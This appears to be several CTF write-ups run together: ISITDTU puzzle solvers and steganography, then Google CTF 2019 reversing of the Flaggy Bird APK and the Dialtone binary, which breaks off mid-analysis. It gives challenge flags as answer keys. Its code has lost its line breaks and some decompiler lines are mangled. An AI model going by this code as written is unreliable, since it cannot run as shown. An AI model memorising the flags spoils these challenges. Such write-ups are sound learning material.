Use pwntools and Python to script it:```pythonfrom pwn import *s = remote("104.154.120.223", 8083)text = s.recv() # Receive outputlines = text.split('\n')[1:-1] # Split with newlinefor i in range(5): # Repeat 5 times index = 0 # Starts with index 0 text = '' while(1): for l in lines: text += l[index] # Combine text vertically according the index if text != ' ': # If its not space, move to next index index += 1 text = '' else: break # Found index print '\n'.join([l[:index] for l in lines]) # Combine with newline print it out for i in range(len(lines)): lines[i] = lines[i][index+1:]```
Next, we need to collect all numbers and operator in `#` form:
Print it using `repr` function and store all possible numbers in a dictionary:```pythonnum = '\n'.join([l[:index] for l in lines])print num,repr(num)```Output:``` # ## # # # # # ##### ' # \n ## \n# # \n # \n # \n # \n#####\n '```After collected all numbers, put it in a dictionary:```python'0' : ' ### \n # # \n# #\n# #\n# #\n # # \n ### \n ','1' : ' # \n ## \n# # \n # \n # \n # \n#####\n ','2' : ' ##### \n# #\n #\n ##### \n# \n# \n#######\n ','3' : ' ##### \n# #\n #\n ##### \n #\n# #\n ##### \n ','4' : '# \n# # \n# # \n# # \n#######\n # \n # \n ','5' : '#######\n# \n# \n###### \n #\n# #\n ##### \n ','6' : ' ##### \n# #\n# \n###### \n# #\n# #\n ##### \n ','7' : '#######\n# # \n # \n # \n # \n # \n # \n ','8' : ' ##### \n# #\n# #\n ##### \n# #\n# #\n ##### \n ','9' : ' ##### \n# #\n# #\n ######\n #\n# #\n ##### \n ','*' :' \n # # \n # # \n#######\n # # \n # # \n \n ','-' :' \n \n \n#####\n \n \n \n ','+' :' \n # \n # \n#####\n # \n # \n \n '```Then we can find the numbers based on the value in the dictionary:```pythonfor key,value in num_dict.iteritems(): if value == num: equation += key```After we collected all characters, we can use `eval()` function in python to calculate the answer for us:```pythoneval('2*2') # 4```Using my [full script](solve.py), solved it in couple minutes =)```......... ##### # ##### ####### # # ## # # # # # # # # # # ##### ##### # ##### ##### ###### # # # # # ##### # # # # # # ####### ##### ####### #####
46
Good job, this is your flag: ISITDTU{sub5cr1b3_b4_t4n_vl0g_4nd_p3wd13p13}```
# Flag > ISITDTU{sub5cr1b3_b4_t4n_vl0g_4nd_p3wd13p13} |
# acronym-1000
__Description__
An acronym is a word or name formed as an abbreviation from the initial components of a phrase...You will need that.Detective Pi[Output.png](Images/output.png)
Note: The flag is not in flag format, please wrap it in format when you submit.
__Solution__
We are given a PNG file , So I started as I usually do i.e using `stegoveritas` on the image. It gave out some trailing data but it was kinda junk.
I looked at the exif of the image and it said theres some extra data after `IEND` chunk.

Since this is a `png` we cannot use `steghide` on this but we can try to use `zsteg`.

We can see that zsteg emits out the extra data and it looks like it's another PNG file. We can extract it properly and keep it in a file.
```bash➜ zsteg -E "extradata:0" output.png > extracted.png```
But this new image is broken. Let's see what's missing in this image.
```bash➜ xxd -l8 extracted.png00000000: 504e 470d 0a1a 0a00 PNG.....```
The actual PNG header is `8950 4e47` like in the original `output.png`
```bash➜ xxd -l8 output.png00000000: 8950 4e47 0d0a 1a0a .PNG....```You can open the `extracted.png` in hex editor and add `89` in the starting.That will give you a proper image having a [`pikachu`](Images/pikachu.png)
Again used `stegoveritas` on that pikachu image and it gave out an image with QR.

Scanning that QR code we get `http://www.diff.vn/en/`. Visting that website was deadend. So we focus on the text in that pikachu image.
```Bluestego, I found it.Just need one more thing to get the truth!!```
So I google `bluestego` and found [BinhHuynh/bluestego](https://github.com/BinhHuynh2727/BlueStego)
First we(me and __@UnblvR__) tried to use the script on the `pikachu` image and got nothing. Then __@UnblvR__ was able to figure out that we need to use it on the original image i.e `output.png`. And also he figure out that the key should be `DIFF` on the `blue` bit.

**FALG**: `ISITDTU{D4N4NG_1S_MY_L0V3}`
|
ISIDTU CTF -> https://ctf.isitdtu.com
Enjoyed the CTF but we tried to give our best as there was limited time. Many challenges solved by us after the contest finished.
# **PROGRAMMING**
## BALLS -:
Description:
>There are 12 balls, all of equal size, but only 11 are of equal weight, one fake ball is either lighter or heavier. Can you find the fake ball by using a balance scale only 3 times?
>nc 34.68.81.63 6666
### Solution: While reading the description it looks like some brain teaser. I quickly googled it and I found this link http://www.mytechinterviews.com/12-identical-balls-problem . Then it's easier after it just we need to send the arguments only.

Here's the [script](balls.py)
```pythonfrom pwn import *import sys
outs=['The left is lighter than the right','Both are equally heavy','The left is heavier than the right']r = remote('34.68.81.63',6666)fake='1 2'
def res(num): print(num) print(r.recvline()) r.sendline(str(num)) print('result->' + r.recvline()) while(1): try: s = r.recvline() except EOFError: r.interactive() print(s) if 'Round' in s: print(r.recvuntil('Weighting 1: ')) r.sendline('1,2,3,4 5,6,7,8') output = r.recvline() print(output) print(r.recvuntil('Weighting 2: ')) if outs[0] in output: r.sendline('5,6,1 7,2,9') output2 = r.recvline() print(output2) print(r.recvuntil('Weighting 3: ')) if outs[0] in output2: r.sendline('1 9') output3 = r.recvline() print(output3) if outs[1] in output3: res(7) if outs[0] in output3: res(1) if outs[2] in output3: res(1) if outs[1] in output2: r.sendline('3 4') output3 = r.recvline() print(output3) if outs[1] in output3: res(8) if outs[0] in output3: res(3) if outs[2] in output3: res(4) if outs[2] in output2: r.sendline('5 6') output3 = r.recvline() print(output3) if outs[1] in output3: res(2) if outs[0] in output3: res(6) if outs[2] in output3: res(5)
if outs[1] in output: r.sendline('8,9 10,11') output2 = r.recvline() print(output2) print(r.recvuntil('Weighting 3: ')) if outs[0] in output2: r.sendline('10 11') output3 = r.recvline() print(output3) if outs[1] in output3: res(9) if outs[0] in output3: res(11) if outs[2] in output3: res(10) if outs[1] in output2: r.sendline(fake) output3 = r.recvline() print(output3) res(12) if outs[2] in output2: r.sendline('10 11') output3 = r.recvline() print(output3) if outs[1] in output3: res(9) if outs[0] in output3: res(10) if outs[2] in output3: res(11)
if outs[2] in output: r.sendline('1,2,5 3,6,9') output2 = r.recvline() print(output2) print(r.recvuntil('Weighting 3: ')) if outs[0] in output2: r.sendline('5 9') output3 = r.recvline() print(output3) if outs[1] in output3: res(3) if outs[0] in output3: res(5) if outs[2] in output3: res(9) if outs[1] in output2: r.sendline('7 8') output3 = r.recvline() print(output3) if outs[1] in output3: res(4) if outs[0] in output3: res(7) if outs[2] in output3: res(8) if outs[2] in output2: r.sendline('1 2') output3 = r.recvline() print(output3) if outs[1] in output3: res(6) if outs[0] in output3: res(2) if outs[2] in output3: res(1)
```We get result like this```Round 50 :
Weighting 1:The left is heavier than the right
Weighting 2:Both are equally heavy
Weighting 3:Both are equally heavy
4The fake ball is :
result->EXACTLY, The fake ball is 4```
That's a long script I feel same as well but it was easier to understand for me.:smiley: Anyways here's the flag `ISITDTU{y0u_hav3_200iq!!!!}`
|
# 2019-06-22-Google-CTF-Quals #
[CTFTime link](https://ctftime.org/event/809) | [Website](https://capturetheflag.withgoogle.com/)
---
## Challenges ##
### Reversing ###
- [231 Flaggy Bird](#231-reversing--flaggy-bird) - [189 Dialtone](#189-reversing--dialtone) - [140 Malvertising](#140-reversing--malvertising)
### Reversing ###
- [271 SecureBoot](#271-Pwn--SecureBoot)
---
## 231 Reversing / Flaggy Bird ##
**Description**
> Overcome insurmountable obstacles then find the secret combination to get the flag.
**Files provided**
- [flaggy-bird.apk](files/flaggy-bird.apk)
**Solution**
If we emulate the APK in Android Studio, we get a basic platformer where the goal is to navigate a bird to a goal.
> During the CTF, we could not get through the first jump of the second level, but this does not really matter since we managed to eventually get the flag from static analysis.
As always with an Android APK, we first run it through a [decompiler](https://www.apkdecompilers.com). We can also `unzip` the APK directly to get nicer access to the assets:
```$ unzip flaggy-bird.apk```
Apart from from libGDX files (a game development library for Java) and the usual Android app miscellany, we find the key package `com.google.ctf.game` in the `sources/com/google/ctf/game` directory with these classes:
- [`AndroidLauncher`](files/flaggybird-decompiled/AndroidLauncher.java) - simply starts the app - [`Checker`](files/flaggybird-decompiled/Checker.java) - flag checking - [`R`](files/flaggybird-decompiled/R.java) - some unimportant constants - [`a`](files/flaggybird-decompiled/a.java) - draws `scenery.png`, the background behind the game - [`b`](files/flaggybird-decompiled/b.java) - draws `bird.png`, the player character - [`c`](files/flaggybird-decompiled/c.java) - global game state? - [`d`](files/flaggybird-decompiled/d.java) - map rendering - [`e`](files/flaggybird-decompiled/e.java) - game manager, loads all other objects, loads a native library (`library.so`) - [`f`](files/flaggybird-decompiled/f.java) - map decoding, flag input logic - [`g`](files/flaggybird-decompiled/g.java) - physics engine, player interactions with flag input - [`h`](files/flaggybird-decompiled/h.java) - some interface which can take a string? - [`i`](files/flaggybird-decompiled/i.java) - UI and controls
Most of these classes are simple to understand and not very important for solving the challenge. `Checker` and `f` deserve a closer look.
### `Checker`
[`Checker`](files/flaggybird-decompiled/Checker.java) has three byte arrays. `a` has 32 entries, `b` has 16, and `c` has 320. Then three functions, of which one is `nativeCheck`, implemented in a separate `.so` object:
```javaprivate byte[] a(byte[] bArr, byte[] bArr2) { try { IvParameterSpec ivParameterSpec = new IvParameterSpec(b); SecretKeySpec secretKeySpec = new SecretKeySpec(bArr, "AES"); Cipher instance = Cipher.getInstance("AES/CBC/PKCS5PADDING"); instance.init(2, secretKeySpec, ivParameterSpec); return instance.doFinal(bArr2); } catch (Exception unused) { return null; }}
public byte[] a(byte[] bArr) { if (nativeCheck(bArr)) { try { if (Arrays.equals(MessageDigest.getInstance("SHA-256").digest(bArr), a)) { return a(bArr, c); } } catch (Exception unused) {} } return null;}
public native boolean nativeCheck(byte[] bArr);```
The second `a` function is presumably the entry point for checking a flag (it is `public`). It:
- takes a byte array - performs `nativeCheck` on it - checks if the SHA-256 hash of the input is equal to the `a` byte array (the one with 32 elements) - the byte array is used as a key for AES-CBC [decryption](https://docs.oracle.com/javase/7/docs/api/constant-values.html#javax.crypto.Cipher.DECRYPT_MODE), with `b` (the 16-element array) used as the IV and `c` (320-element) as the ciphertext
We don't know very much about the correct input array, but we can check if our input is correct using the SHA-256 hash, which is important. We also don't know what the result of the decryption is used for yet.
Next, we will investigate the `nativeCheck` function, which we can find in [`library.so`](files/flaggybird-decompiled/library.so). We will use the `x86_64` version. After loading the file, we will also add [this great header file](https://gist.github.com/Jinmo/048776db75067dcd6c57f1154e65b868) by Jinmo, which will reveal the names of JNI functions. With that, the `nativeCheck` function looks like this:
```cbool __fastcall Java_com_google_ctf_game_Checker_nativeCheck(JNIEnv *jni, __int64 a2, jarray input){ jarray input_; // r14 jbyte *inputCopy; // rax char inputA[16]; // [rsp+0h] [rbp-68h] char inputB[16]; // [rsp+10h] [rbp-58h] char dest[16]; // [rsp+20h] [rbp-48h] unsigned __int64 cookie; // [rsp+30h] [rbp-38h]
input_ = input; cookie = __readfsqword(0x28u); if ( ((*jni)->GetArrayLength)(jni, input) != 32 ) return 0; inputCopy = ((*jni)->GetByteArrayElements)(jni, input_, 0LL); if ( inputA >= inputCopy + 32 || inputCopy >= dest ) { *(_OWORD *)inputA = *(_OWORD *)inputCopy; *(_OWORD *)inputB = *((_OWORD *)inputCopy + 1); } else { inputA[0] = *inputCopy; inputA[1] = inputCopy[1]; // ... inputA[2...14] = inputCopy[2...14]; inputA[15] = inputCopy[15]; inputB[0] = inputCopy[16]; inputB[1] = inputCopy[17]; // ... inputB[2...14] = inputCopy[18...30]; inputB[15] = inputCopy[31]; } dest[0] = inputA[0] + inputA[1]; dest[1] = inputA[2] + inputA[3]; // ... dest[2...6] = inputA[4,6...12] + inputA[5,7...13]; dest[7] = inputA[14] + inputA[15]; dest[8] = inputB[0] + inputB[1]; dest[9] = inputB[2] + inputB[3]; // ... dest[10...14] = inputA[4,6...12] + inputA[5,7...13]; dest[15] = inputB[14] + inputB[15]; success = 1; p = 0; M(dest, 16); return dest[15] < 16 && success != 0;}```
There are some unnecessary memory operations which take advantage of 128-bit operations, although the subsequent summing probably makes those pointless. To summarise:
- the input array must be 32 bytes long - `dest` is a 16-byte-long buffer, where each element is the sum of two consecutive elements from the input array - the variables `success` and `p` are set up, then `M` is called on `dest`
The `M` function:
```cvoid __fastcall M(char *data, signed int length){ __int64 halfLength; // r13 int v3; // er12 char *v4; // rbp __int64 v5; // rbx int v6; // er14 signed int v7; // eax char v8; // dl __int64 v9; // rbp char desta[16]; // [rsp+10h] [rbp-48h] unsigned __int64 cookie; // [rsp+20h] [rbp-38h]
cookie = __readfsqword(0x28u); if ( length >= 2 ) { halfLength = (unsigned int)length >> 1; M(data, (unsigned int)length >> 1); if ( success ) { v3 = length - halfLength; v4 = &data[halfLength]; M(&data[halfLength], length - halfLength); if ( success ) { if ( v3 > 0 ) { v5 = 0LL; v6 = 0; v7 = 0; while ( 1 ) { v8 = v4[v6]; if ( data[v7] >= v8 ) { if ( data[v7] <= v8 || d[p] ) {FAILURE: success = 0; return; } ++p; desta[v5] = v4[v6++]; } else { if ( d[p] != 1 ) goto FAILURE; ++p; desta[v5] = data[v7++]; } ++v5; if ( v7 >= (signed int)halfLength || v6 >= v3 ) goto LABEL_17; } } v7 = 0; v6 = 0; LODWORD(v5) = 0;LABEL_17: if ( v7 < (signed int)halfLength ) { v9 = (unsigned int)(halfLength - 1 - v7); memcpy(&desta[(signed int)v5], &data[v7], v9 + 1); LODWORD(v5) = v5 + v9 + 1; } if ( v6 < v3 ) memcpy(&desta[(signed int)v5], &data[halfLength + v6], (unsigned int)(length - 1 - v6 - halfLength) + 1LL); memcpy(data, desta, length); } } }}```
Takes a pointer and a length, does an operation on the first half recursively, then the second half recursively, then it is merged – this is clearly a [merge sort](https://en.wikipedia.org/wiki/Merge_sort), but there is a twist! Every time there is a comparison of two elements, its result must be equal to the next entry in the `d` array:
```d = [ 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0];```
Furthermore, the result of a comparison can never be equality, so all elements must be unique.
Setting the `p` variable to `0` back in `nativeCheck` now makes sense – every time the function is called, the position in the comparison results array is reset. We also know how the `success` variable is modified, and we also have that `dest[15] < 16` *after* the merge sort.
Here we can make a guess (which will be confirmed later when reversing `f`): `dest` should contain all numbers from `0` to `15` exactly once. If this is the case, we can figure out what `dest` must be before it is sorted based on the `d` array. The method is to simply perform the merge sort just like the program. If a comparison fails, swap the two problematic elements around, then restart the sort. Repeat until the array is sorted completely without failing any of the comparison checks.
[Full merge sort reversing script](scripts/FlaggyBirdSort.hx)
```bash$ haxe --run FlaggyBirdSortFlaggyBirdSort.hx:12: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]FlaggyBirdSort.hx:12: [1,0,2,3,4,5,6,7,8,9,10,11,12,13,14,15]# ... etcFlaggyBirdSort.hx:12: [9,8,7,2,11,14,13,10,6,5,15,4,3,0,12,1]FlaggyBirdSort.hx:12: [9,8,7,2,11,15,13,10,6,5,14,4,3,0,12,1]```
So if `dest` is `[9,8,7,2,11,15,13,10,6,5,14,4,3,0,12,1]`, `nativeCheck` will return true. Keep in mind that each element in the `dest` array is a sum of two elements from the `input` array, so without further knowledge about the `input` array, there are still too many possible inputs.
### `f`
[`f`](files/flaggybird-decompiled/f.java) is a bit longer, but the majority of the length is due to long arrays, enums, and switches. Let's examine the sections one at a time:
```javastatic final a[] a = new a[]{a.EGG_0, a.EGG_1, /*...*/, a.EGG_15};static final a[] b = new a[]{a.FLAG_0, a.FLAG_1, /*...*/, a.FLAG_15};a[][] c;int[][] d;int e;int f;h g;private int h = 190;private int i = 46;private d[][] j;private int[][] k;private a[] l;private List<Integer> m;private int n;private int o;```
`a` and `b` seem to be subsets of possible `enum a`((the single-letter name mangling is a bit annoying!) values in order. `h` and `i` could match the width and height of maps in the game. The remaining variables are harder or impossible to identify, so we'll move on for now.
```javaenum a { AIR, GROUND, DIAGONAL_A, // ... COMPUTER, EGG_HOLDER, EGG_0, // ... EGG_15, BACKGROUND, PORTAL, FLAG_0, // ... FLAG_15}```
`enum a` is an enumeration of all the possible map tiles.
```javaprivate void a(int i) { a(g.e.a(String.format("level%d.bin", new Object[]{Integer.valueOf(i)})).i());}```
This function takes a number as input, i.e. the level number, then passes the string `level<num>.bin` to `g.e.a(...).i()`. The latter is probably an asset loader which will return a byte array. This is then passed to another overload of `a`:
```javaprivate void a(byte[] bArr) { InflaterInputStream inflaterInputStream = new InflaterInputStream(new ByteArrayInputStream(bArr)); byte[] bArr2 = new byte[(this.h * this.i)]; if (inflaterInputStream.read(bArr2) == this.h * this.i) { // ... } throw new IOException();}```
Here we take the input stream and [inflate](https://en.wikipedia.org/wiki/DEFLATE) it. We can also confirm that `h` and `i` represent the map dimensions (commonly multiplied together to make a big array for storing the whole map).
Since we have access to the level files, we can inflate them ourselves to see what data the program is working with at this point.
```python>>> import zlib>>> zlib.decompress(open("level1.bin", "rb").read())b'111111111111111111111111111111111111111111 ... 000000000000'```
Here are the decompressed levels, with linebreaks inserted to show the 2D layout of the map clearly:
- [`level1.txt`](files/flaggybird-level1.txt) - [`level2.txt`](files/flaggybird-level2.txt) - [`level3.txt`](files/flaggybird-level3.txt)
The overall structure of each level is more or less visible (`0` is air), but the details are hard to understand, since we don't know what symbol represents which tile. Let's continue with the `a` function:
```javaint i;int i2;this.c = new a[this.i][];this.d = new int[this.i][];this.k = new int[32][];// set up 2D arraysfor (i = 0; i < this.i; i++) { // for each row this.c[i] = new a[this.h]; this.d[i] = new int[this.h]; for (i2 = 0; i2 < this.h; i2++) { // for each column this.d[i][i2] = -1; }}this.n = 0;for (i = 0; i < this.i; i++) { // for each row for (i2 = 0; i2 < this.h; i2++) { // for each column // get a tile type (enum a) from the character somehow a a = a(bArr2[(this.h * i) + i2]); // put it into the map this.c[(this.i - i) - 1][i2] = a; if (a == a.EGG_HOLDER) { // for each egg holder, store its index in the map this.d[(this.i - i) - 1][i2] = this.n; // and its position in the array of egg holders this.k[this.n] = new int[]{i2, (this.i - i) - 1}; this.n++; } }}// finally, set all egg holders to hold value 0 initiallythis.l = new a[this.n];for (int i3 = 0; i3 < this.l.length; i3++) { this.l[i3] = a.EGG_0;}this.m = new ArrayList();return;```
We can see now that the function goes through the decompressed output character by character and creates tiles. We also guessed at what the "eggs" represent – they are the interactible inputs in the final level, each of which can hold an "egg", a value from 0 to 15. The interactibility we can figure out from the physics class ([`g`](files/flaggybird-decompiled/g.java)). Some of the hints also come from the other functions that follow.
As the function adds tiles to the `c` array, it converts them from bytes using this function:
```javaprivate a a(byte b) { if (b == (byte) 65) { return a.DIAGONAL_AA; } if (b == (byte) 120) { return a.BACKGROUND; } switch (b) { case (byte) 49: return a.GROUND; case (byte) 50: return a.EGG_HOLDER; /* etc etc */ }}```
The decompiler output is not very pretty here, creating unnecessarily nested switches. However, we can easily see the mapping of bytes to tile types, which we will use shortly. There is another `a` overload, which accepts tile types and returns elements from a 2D array, `j`:
```javapublic d a(a aVar) { switch (aVar) { case AIR: return null; case COMPUTER: return this.j[5][1]; case EGG_HOLDER: return this.j[4][1]; // etc }}```
Since the tile types kept their names, we can figure out that the indices in the function correspond to XY coordinates (in tiles) in the [`tileset.png`](files/flaggybird-tileset.png) asset:

Now we can also show all the levels:



The final function of interest in the `f` class is this one:
```javapublic void a(int i, int i2) { // set l[i] to EGG_<i2> this.l[i] = a[i2]; // check if m contains i int i3 = -1; for (int i4 = 0; i4 < this.m.size(); i4++) { if (((Integer) this.m.get(i4)).intValue() == i) { if (i2 == 0) { // if it does and i2 == 0, remember the index in the m list i3 = i4; } else { // if it does and i2 != 0, done return; } } }
// if i was found in m and i2 == 0, remove it from m if (i3 != -1) { this.m.remove(i3); } // if i2 != 0, add i to m if (i2 != 0) { this.m.add(Integer.valueOf(i)); // if m has 16 or more elements now, remove the first one and set it to 0 if (this.m.size() > 15) { this.l[((Integer) this.m.remove(0)).intValue()] = a.EGG_0; } }}```
The above version might be a bit confusing even with the comments. We can summarise the function as follows:
- `setEgg(int eggIndex, int eggValue)` - set `eggs[eggIndex]` to `eggValue` - if `eggValue` (the new value for the egg) is non-zero: - if the egg was already set before, we've just changed its value to another one, we're done - if the egg was not set before AND there are now 16 or more eggs set to non-zero values, set the one that was touched least recently to zero and forget about it - if `eggValue` is zero: - if the egg was already set before, forget about it
In other words, only 15 of the 32 egg holders in level 3 can contain a non-zero egg value.
### Decoding the flag
Now we can put all the pieces together to get the correct solution for the eggs:
- `input` is an array of 32 elements (or eggs) - each element can be a number from `0` to `15` inclusive (there are only 16 egg types) - only 15 elements can be non-zero - the sums of consecutive pairs of `input` must be `[9,8,7,2,11,15,13,10,6,5,14,4,3,0,12,1]` - we know the SHA-256 hash of the correct `input`
There are 15 non-zero `input` elements and 15 non-zero pair sums - so we know that in each pair of `input` elements, only one can be non-zero.
```9 = input[0] + input[1] = 9 + 0 OR 0 + 98 = input[2] + input[3] = 8 + 0 OR 0 + 87 = input[4] + input[3] = 7 + 0 OR 0 + 72 = input[6] + input[3] = 2 + 0 OR 0 + 2...1 = input[30] + input[31] = 1 + 0 OR 0 + 1```
Since the zero pair is fixed, we have 15 binary choices, giving us a total of `2 ** 15 == 32768` possibilities, a very small number for brute-forcing.
[Full key-finding script here](scripts/flaggyBirdKey.py)
```bash$ python3 flaggyBirdKey.py [9, 0, 0, 8, 0, 7, 2, 0, 0, 11, 0, 15, 13, 0, 10, 0, 6, 0, 0, 5, 14, 0, 0, 4, 0, 3, 0, 0, 12, 0, 1, 0]```
Next, we use the recovered key to decrypt the `c` array from [`Checker`](#checker).
```bash$ python3 flaggyBirdFlag.py```
The [output](files/flaggybird-flag.txt) is another level. Clearly there are letters spelling out the flag using the `FLAG_*` tiles from the tileset, but they are a bit hard to read. Luckily, we already figured out the level format, so we can see the flag as it would appear in the game:

`CTF{Up_d0WN_TAp_TAp_TAp_tHe_b1rd_g0Es_flaG_flaG_flaG}`
## 189 Reversing / Dialtone ##
**Description**
> You might need a pitch-perfect voice to solve this one. Once you crack the code, the flag is CTF{code}.
**Files provided**
- [dialtone](files/dialtone)
**Solution**
Looking at the file in IDA, we can immediately see references to some `pa_...` functions. We can confirm our suspicions with `ldd`:
```bash$ ldd a.out linux-vdso.so.1 => (0x00007ffd1f1b6000) libpulse.so.0 => /usr/lib/x86_64-linux-gnu/libpulse.so.0 (0x00007f34b722c000) libpulse-simple.so.0 => /usr/lib/x86_64-linux-gnu/libpulse-simple.so.0 (0x00007f34b7028000) libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f34b6d22000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f34b6959000) libjson-c.so.2 => /lib/x86_64-linux-gnu/libjson-c.so.2 (0x00007f34b674e000) libpulsecommon-4.0.so => /usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-4.0.so (0x00007f34b64e7000) libdbus-1.so.3 => /lib/x86_64-linux-gnu/libdbus-1.so.3 (0x00007f34b62a2000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f34b6084000) /lib64/ld-linux-x86-64.so.2 (0x00007f34b7678000) libxcb.so.1 => /usr/lib/x86_64-linux-gnu/libxcb.so.1 (0x00007f34b5e65000) libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f34b5c5b000) libsndfile.so.1 => /usr/lib/x86_64-linux-gnu/libsndfile.so.1 (0x00007f34b59f2000) libasyncns.so.0 => /usr/lib/x86_64-linux-gnu/libasyncns.so.0 (0x00007f34b57ec000) librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007f34b55e4000) libXau.so.6 => /usr/lib/x86_64-linux-gnu/libXau.so.6 (0x00007f34b53e0000) libXdmcp.so.6 => /usr/lib/x86_64-linux-gnu/libXdmcp.so.6 (0x00007f34b51da000) libnsl.so.1 => /lib/x86_64-linux-gnu/libnsl.so.1 (0x00007f34b4fc0000) libFLAC.so.8 => /usr/lib/x86_64-linux-gnu/libFLAC.so.8 (0x00007f34b4d8f000) libvorbisenc.so.2 => /usr/lib/x86_64-linux-gnu/libvorbisenc.so.2 (0x00007f34b4ae6000) libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007f34b48cb000) libogg.so.0 => /usr/lib/x86_64-linux-gnu/libogg.so.0 (0x00007f34b46c2000) libvorbis.so.0 => /usr/lib/x86_64-linux-gnu/libvorbis.so.0 (0x00007f34b4497000)```
There is a number of audio codec libraries linked but, most importantly, the [Pulse Audio library](https://www.freedesktop.org/wiki/Software/PulseAudio/), which can deal with audio input and output on Linux. Let's have a look at the decompiled `main` function:
```cint __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rax int result; // eax __int64 v5; // rax char v6; // [rsp+18h] [rbp-28020h] char v7; // [rsp+8018h] [rbp-20020h] int v8; // [rsp+2801Ch] [rbp-1Ch] int v9; // [rsp+28020h] [rbp-18h] char v10; // [rsp+28024h] [rbp-14h] unsigned int v11; // [rsp+28028h] [rbp-10h] int v12; // [rsp+2802Ch] [rbp-Ch] __int64 v13; // [rsp+28030h] [rbp-8h]
v13 = pa_simple_new(0LL, *argv, 2LL, 0LL, "record", &ss_3811, 0LL, 0LL, &v11); if ( v13 ) { v8 = 0; v9 = 0; v10 = 0; do { if ( (signed int)pa_simple_read(v13, &v6, 0x8000LL, &v11) < 0 ) { v5 = pa_strerror(v11); fprintf(stderr, "pa_simple_read() failed: %s\n", v5); return 1; } x(&v6, &v7;; v12 = r(&v8, &v7;; if ( v12 < 0 ) { fwrite("FAILED\n", 1uLL, 7uLL, stderr); return 1; } } while ( v12 ); fwrite("SUCCESS\n", 1uLL, 8uLL, stderr); pa_simple_free(v13, 1LL); result = 0; } else { v3 = pa_strerror(v11); fprintf(stderr, "pa_simple_new() failed: %s\n", v3); result = 1; } return result;}```
The program connects to a pulse audio server using the [simple API](https://freedesktop.org/software/pulseaudio/doxygen/simple.html). The sample spec `ss_3811` specifies 1 channel at 44100 Hz, and the stream description is "record" - the program will try to access the microphone.
Then we have a loop, reading samples into an audio buffer (`v6`), `0x8000` bytes at a time. The `x` function is called on that audio buffer, somehow transfers data into another buffer (`v7`), then the success / failure is determined based on the second buffer in the function `r`.
Let's have a look into `x`:
```cvoid __fastcall x(__int64 a1, __int64 a2){ signed int v2; // [rsp+14h] [rbp-Ch] signed int j; // [rsp+18h] [rbp-8h] signed int i; // [rsp+1Ch] [rbp-4h]
bit_flip(a1, a2); for ( i = 1; i <= 13; ++i ) { v2 = 1 << i; for ( j = 0; j <= 0x1FFF; j += v2 ) y(a2, (unsigned int)j, v2); }}```
And the accompanying `y` function:
```cvoid __fastcall y(__int64 a1, __int64 a2, signed int a3){ double v3; // ST48_8 double *v4; // rax double v5; // ST30_8 double v6; // ST38_8 signed __int64 v7; // rdx __int128 v8; // xmm2 __int128 v9; // xmm3 double *v10; // rbx double *v11; // rbx signed int v12; // [rsp+10h] [rbp-60h] int i; // [rsp+5Ch] [rbp-14h]
v12 = a3; for ( i = 0; i < v12 / 2; ++i ) { cexp(a1, a2); v3 = -0.0 * (long double)i / (long double)v12; v4 = (double *)(16LL * ((signed int)a2 + i) + a1); v5 = *v4; v6 = v4[1]; v7 = 16LL * (i + (signed int)a2 + v12 / 2); v8 = *(unsigned __int64 *)(v7 + a1); v9 = *(unsigned __int64 *)(v7 + a1 + 8); complex_mul(v3); v10 = (double *)(16LL * ((signed int)a2 + i) + a1); *(_QWORD *)v10 = complex_add(v5, v6, v3); v10[1] = v6; v11 = (double *)(16LL * (i + (signed int)a2 + v12 / 2) + a1); complex_sub(a1); *v11 = v5; v11[1] = v6; }}```
The buffer contains audio data, `x` goes through powers of 2 (`2 ** 13 == 8192`), then has a loop over samples with an inner loop in the `y` function performing complex number operations. All of these are very strong hints that we are looking at a [Fourier transform](https://en.wikipedia.org/wiki/Discrete_Fourier_transform) function.
More specifically `x` and `y` form an implementation of the [iterative Cooley-Tukey Fast Fourier Transform with bit reversal](https://en.wikipedia.org/wiki/Cooley%E2%80%93Tukey_FFT_algorithm#Data_reordering,_bit_reversal,_and_in-place_algorithms).
In simple terms, the `x` function detects the volume of individual frequencies in the audio buffer. The description of the challenge further supports this theory. With this assumption, we can clean up `main`:
```cint __cdecl main(int argc, const char **argv, const char **envp){ __int64 strError_; // rax int result; // eax __int64 strError; // rax double audioBuffer[4096]; // [rsp+18h] [rbp-28020h] complex fftBuffer[8192]; // [rsp+8018h] [rbp-20020h] state_s state; // [rsp+2801Ch] [rbp-1Ch] unsigned int paError; // [rsp+28028h] [rbp-10h] int subResult; // [rsp+2802Ch] [rbp-Ch] void *paServer; // [rsp+28030h] [rbp-8h]
paServer = (void *)pa_simple_new(0LL, *argv, 2LL, 0LL, "record", &paSpec, 0LL, 0LL, &paError); if ( paServer ) { state.field_0 = 0; state.field_4 = 0; state.field_8 = 0; do { if ( (signed int)pa_simple_read(paServer, audioBuffer, 0x8000LL, &paError) < 0 ) { strError = pa_strerror(paError); fprintf(stderr, "pa_simple_read() failed: %s\n", strError); return 1; } fourier(audioBuffer, fftBuffer); subResult = r(&state, fftBuffer); if ( subResult < 0 ) { fwrite("FAILED\n", 1uLL, 7uLL, stderr); return 1; } } while ( subResult ); fwrite("SUCCESS\n", 1uLL, 8uLL, stderr); pa_simple_free(paServer, 1LL); result = 0; } else { strError_ = pa_strerror(paError); fprintf(stderr, "pa_simple_new() failed: %s\n", strError_); result = 1; } return result;}```
Now we can move on to the `r` function. There are several calls to a function called `f`, taking the result of the FFT and an integer:
```cv8 = f(fftBuffer, 1209);v9 = f(fftBuffer, 1336);v10 = f(fftBuffer, 1477);v11 = f(fftBuffer, 1633);```
`f`:
```double __fastcall f(complex *a1, int frequency){ return cabs(a1[(frequency << 13) / 44100]);}```
`frequency` is given in Hertz, but then it is multiplied by `8192 / 44100`.
